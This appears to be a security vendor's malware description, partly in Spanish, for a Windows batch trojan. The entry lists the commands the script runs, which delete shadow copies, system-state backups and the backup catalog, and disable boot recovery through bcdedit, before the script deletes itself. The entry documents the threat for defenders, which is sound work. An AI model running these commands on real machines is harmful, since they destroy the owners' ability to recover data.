Author: Clive Fuentebella   
 

Trojan.Script.Agent.cr (KASPERSKY)

 PLATFORM:

Windows

 OVER ALL RISK RATING:
 DAMAGE POTENTIAL::
 DISTRIBUTION POTENTIAL::
 REPORTED INFECTION:
 INFORMATION EXPOSURE:
Low
Medium
High
Critical

  • Threat Type:
    Trojan

  • Destructiveness:
    No

  • Encrypted:
    No

  • In the wild::
    Yes

  OVERVIEW

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Se ejecuta y, a continuación, se elimina.

  TECHNICAL DETAILS

File size: 707 bytes
File type: BAT
Memory resident: No

Detalles de entrada

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Instalación

Infiltra los archivos siguientes:

  • {Current directory}\sc.txt

Agrega los procesos siguientes:

  • wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0
  • wbadmin DELETE BACKUP -keepVersions:0
  • wmic SHADOWCOPY DELETE
  • vssadmin Delete Shadows /All /Quiet
  • bcdedit /set {default} recoveryenabled No
  • bcdedit /set {default} bootstatuspolicy ignoreallfailures
  • vssadmin list shadows
  • cmd.exe /C wbadmin STOP job
  • cmd.exe /C wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0 -quiet
  • cmd.exe /C wbadmin DELETE CATALOG -quiet
  • cmd.exe /C wbadmin DISABLE backup
  • cmd.exe /C bcdedit /set {default} recoveryenabled No
  • cmd.exe /C bcdedit /set {default} bootstatuspolicy ignoreallfailures
  • cd "{Current directory}"
  • echo delete shadows all>>sc.txt
  • echo exit>>sc.txt
  • cmd.exe /C diskshadow -s sc.txt
  • del /f "{Current directory}\sc.txt"
  • pause
  • del %0

Se ejecuta y, a continuación, se elimina.